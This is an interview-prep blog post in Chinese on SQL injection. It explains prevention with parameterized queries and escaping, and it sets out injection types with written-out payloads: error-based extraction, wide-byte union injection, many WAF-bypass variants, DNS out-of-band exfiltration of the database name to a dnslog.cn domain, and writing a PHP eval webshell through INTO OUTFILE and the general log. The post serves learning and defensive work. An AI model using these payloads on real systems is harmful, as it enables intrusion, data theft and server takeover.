SQL注入面试题

SQL注入原理

SQL注入就是在人为可以构造参数的地方加入一些非法敏感语句,绕过后端的处理,并带入到数据库中执行,然后返回敏感数据的过程。

如何预防:

  1. 使用参数化查询:将用户输入的数据作为“参数”传递,而非直接拼接到SQL语句中
  2. 输入验证和过滤
  3. 最小权限原则:用户应该被授予最小必需的权限,只能访问和执行所需的数据库对象和操作,而不是拥有对整个数据库的完全访问权限。

SQL注入思路

  1. 判断注入点
    在GET参数、POST参数、Cookie、Referer、XFF、UA等地方尝试插入代码、符号或语句,尝试是否存在数据库参数读取行为,以及能否对其参数产生影响,如产生影响则说明存在注入点。

  2. 判断数据库类型

  3. 判断参数数据类型

  4. 判断数据库语句过滤情况

  5. 尝试绕过过滤

  6. 根据注入情况使用注入方式

过滤逗号的SQL注入如何绕过

  1. 对于substr()和mid()这两个方法可以使用from to的方式来解决。
    select substr(database() from 1 for 1);
    select mid(database() from 1 for 1);
  2. 对于limit可以使用offset来绕过
    select * from news limit 0,1
    #等价于下面这条SQL语句
    select * from yang limit 1 offset 0

防止SQL注入方式

Java项目

  1. PreparedStatement防止SQL注入
    delete from table1 where id = ?
    此时SQL语句结构已固定,无论"?"被替换为任何参数,SQL语句只认为where后面只有一个条件,当再传入 1001 or 1 = 1时,语句会报错,从而达到防止SQL注入效果。
  2. mybatis中#{}防止SQL注入
    mybatis中#{}表达式对SQL语句进行 预编译 处理
    SQL预编译后,占位符表示的内容被视为参数的一部分,而不是SQL的一部分
  3. 对请求参数的敏感词汇进行过滤

php项目

  1. 使用mysql_real_escape_string方法转义SQL语句中使用的字符串中的特殊字符;
  2. 打开magic_quotes_gpc来防止SQL注入;如果magic_quotes_gpc=Off,则使用addslashes()函数。
  3. 通过自定义函数防sql注入。

sql注入类型

  1. 联合查询:联合注入是需要页面有回显位。
    字符型、数字型
  2. 盲注:数据 不显示只有对错页面显示
    length(),ascii() ,substr()
    substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。
    ascii()是将截取的字符转换成对应的ascii吗
  3. 时间
    if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。
  4. 报错:基于SQL语句错误反馈进行注入
    extractvalue()报错注入,updatexml()报错注入和group by()报错注入
    1’ and (extractvalue(1,concat(0x5c,version(),0x5c)))# 爆版本
    123’ and (updatexml(1,concat(0x5c,version(),0x5c),1))# 爆版本
    123’ and (select count(*) from information_schema.tables group by concat(database(),0x5c,floor(rand(0)*2)))# 爆数据库
  5. 二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入
  • 预处理+数据绑定
  • 无论输入来自用户还是存储,在进入到 SQL 查询前都对其进行过滤、转义
  1. 堆叠注入:存在mysqli_multi_query函数,该函数支持多条sql语句同时进行
  2. 宽字节
    成因:数据库使用GBK编码时,%bf%5c会被解析为汉字“縗”,导致单引号逃逸。
    修复:统一使用UTF-8编码,并在PHP中设置mysql_set_charset(‘utf8’)。
    %df’=>%df’(单引号会被加上转义字符\)
    %df’=>%df%5c’(\的十六进制为%5c)
    %df%5c’=>縗’(GBK编码时会认为这时一个宽字节)
    ?id=-1%df%27%20union%20select%201,database(),3%20–+

DNS外带无回显SQL注入

  1. http://www.dnslog.cn生成域名
  2. 用到load_file()函数的,它需要当前数据库用户有读权限,并且需要设置secure_file_priv
  3. 前端没有回显,只输出了语句,此时直接去看平台。
  4. payload如下
    admin" union select load_file(concat('\\\\',(select hex(database())),'.g5ucgd.dnslog.cn\\test'))#

有哪些SQL语句无法使用预编译的方式

  1. 表名或列名属于SQL结构的一部分,不能在预编译中用参数(?)替代。
    由于users属于标识符,所以下列是错误的
-- 错误示例(无法预编译)
String sql = "SELECT * FROM ? WHERE id = 1";  -- 表名不能参数化
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setString(1, "users");  -- 实际执行时会变成 SELECT * FROM 'users' WHERE id=1(语法错误)
  1. 若排序的列名或方向(ASC/DESC)需动态指定,预编译参数会被视为值而非标识符。
    DESC是标识符,所以错误
-- 错误示例(预编译无效)
String sql = "SELECT * FROM users ORDER BY ? ?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setString(1, "name");   -- 替换为 ORDER BY 'name' 
stmt.setString(2, "DESC");   -- 替换为 'DESC'(语法错误)
  1. 预编译需固定参数数量,但IN列表长度可能动态变化。
-- 错误示例(无法预编译动态数量的参数)
String[] ids = {"1", "2", "3"};
String sql = "SELECT * FROM users WHERE id IN (?)";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setString(1, String.join(",", ids));  -- 替换为 IN ('1,2,3')(逻辑错误)
  1. DDL(如CREATE TABLE、ALTER TABLE)通常包含动态标识符(表名、列类型)。

|场景| 合法写入 |非法写入|
|​​表名(标识符)|SELECT * FROM users|SELECT * FROM ‘users’;|
| ​​字符串值​ | SELECT * FROM t WHERE name = ‘users’; | SELECT * FROM t WHERE name = users;|

SQL如何绕过WAF

  1. 双写绕过
    unionunion +selectselect
  2. 等号like绕过
  3. order by绕过
    使用into变量名代替
  4. and/or绕过
    替代字符:and 等于&&、or 等于 ||、not 等于 !、xor 等于|
  5. union select 绕过
    uNIoN sel<>ect # 程序过滤<>为空 脚本处理
    uNi//on sele//ct # 程序过滤//为空
    uNIoN /!%53eLEct/ # url 编码与内联注释
    uNIoN se%0blect # 使用空格绕过
    uNIoN sele%ct # 使用百分号绕过
    uNIoN %53eLEct # 编码绕过
    uNIoN sELecT 1,2 #大小写绕过
    uNIoN all select 1,2 # ALL绕过
    uNIoN DISTINCT select 1,2 # 去重复DISTINCT 绕过
    null+UNION+SELECT+1,2 # 加号代替空格绕过
    /!union//!select/1,2 # 内联注释绕过
    /!50000union//!50000select/1,2 # 内联注释绕过
    uNIoN//select/**/1,2 # 注释代替空格绕过
  6. 大小写绕过
    对关键词设置为大小写即可
  7. 逗号绕过
    substr(database(),1,1)—> substr(database() from 1 for 1) ;
    limit 0,1 —> limit 1 offset 0
  8. 等函数替换
    substr()函数被拦截,就可以使用mid函数;报错注入的updatexml()用polygon()函数替换
  9. 浮点数绕过
    通过浮点数的形式从而绕过。
    id=1 union select —> id=1.0union select —> id=1E0union select
  10. ascii编码绕过
    对截取的字符拦截,可以使用ascii编码对比进行绕过
  11. base64编码绕过
    可以将注入的语句进行base64编码进行绕过
  12. 空格字符绕过
    %20=%a0=%09=%0a=0b=%0c=%0d=+
  13. 引号字符绕过
    若单引号被拦截,则使用双引号,若都被拦截,就尝试使用hex六进制编码,也可以考虑宽字节注入绕过
  14. 参数污染
    php 语言中 id=1&id=2 后面的值会自动覆盖前面的值,不同的语言有不同的特性。可以利用这点绕过一 些 waf 的拦截。
  15. 注释绕过
    内联注释:是Mysql为了保持与其他数据的兼容,将Mysql中特有的语句放在/!/中这些语句在不兼容的数据库中不执行,而在Mysql自身却能识别执行。例如:/!50001/表示数据库版本>=5.00.01时,/!50001 中间的语句才能被执行 /
  16. 脏数据溢出绕过
    数据太多超过waf检测范围,然后造成绕过,前面填垃圾数据后面填要注入的SQL语句,如果是GET传参,参数值超过GET所能运行的长度可能无法利用,所以最好是POST传参(前提是对方支持POST传参)
  17. 参数拆分绕过
    配合多个参数的传参,将注入的内容拼接到同一条 SQL 语句中,可以将注入语句分割插入绕过waf拦截。
    在这里插入图片描述

SQL注入

单引号被过滤

攻击方账号输入 1\,密码输入or 1=1 --+ ,最后拼接出来的语句是select * from xxx where id=‘1’ and pwd=‘or 1=1–+’ 其中\将’转义,id的值就变为(1’ and pw=),后边跟一个or 1=1返回的逻辑为true就可以进行SQL注入了。

mysql不知道列名怎么爆字段?

查询information_schema表。
这个表无权访问怎么办?
利用union查询,进行查询时语句的字段数必须和指定表中的字段数一样,不能多也不能少,不然就会报错,例如:Select 1,2,3 union select * from xxx; (xxx表有三列),结果为三列。

mysql报错注入常用的函数及原理?

  1. XML类
    extractvalue() 对xml文档查询,报错原理与updatexml相同
    updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) 对xml文档修改
    concat返回的路径不符合Xpath格式,所以报XPATH syntax error的错
  2. floor()+rand()+group by
    向下取整
    select count(*),(concat(floor(rand(0)*2),(select version())))x from table1 group by x;
    group by会产生虚拟表,floor(rand(0)*2)产生0或1,导致虚拟表主键重复,产生报错
  3. exp() 溢出
    id=1 and exp(~(select * from(select user())a)),利用exp溢出、取反~、子查询。

通过sql注入写webshell的几种方式?

  1. 利用Union select 写入
    具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。
?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php'
?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile "E:/study/WWW/evil.php"
  1. 利用分隔符写入
    当Mysql注入点为盲注或报错,Union select写入的方式显然是利用不了的,那么可以通过分隔符写入。
    具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。
?id=1 LIMIT 0,1 INTO OUTFILE 'E:/study/WWW/evil.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 --

同样的技巧,一共有四种形式:

?id=1 INTO OUTFILE '物理路径' lines terminated by  (一句话hex编码)#
?id=1 INTO OUTFILE '物理路径' fields terminated by (一句话hex编码)#
?id=1 INTO OUTFILE '物理路径' columns terminated by (一句话hex编码)#
?id=1 INTO OUTFILE '物理路径' lines starting by    (一句话hex编码)#
  1. 利用log写入
    具体权限要求:数据库用户需具备Super和File服务器权限、获取物理路径。
show variables like '%general%';             #查看配置
set global general_log = on;                 #开启general log模式
set global general_log_file = 'E:/study/WWW/evil.php'; #设置日志目录为shell地址
select '<?php eval($_GET[g]);?>'             #写入shell
set global general_log=off;                  #关闭general log模式
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值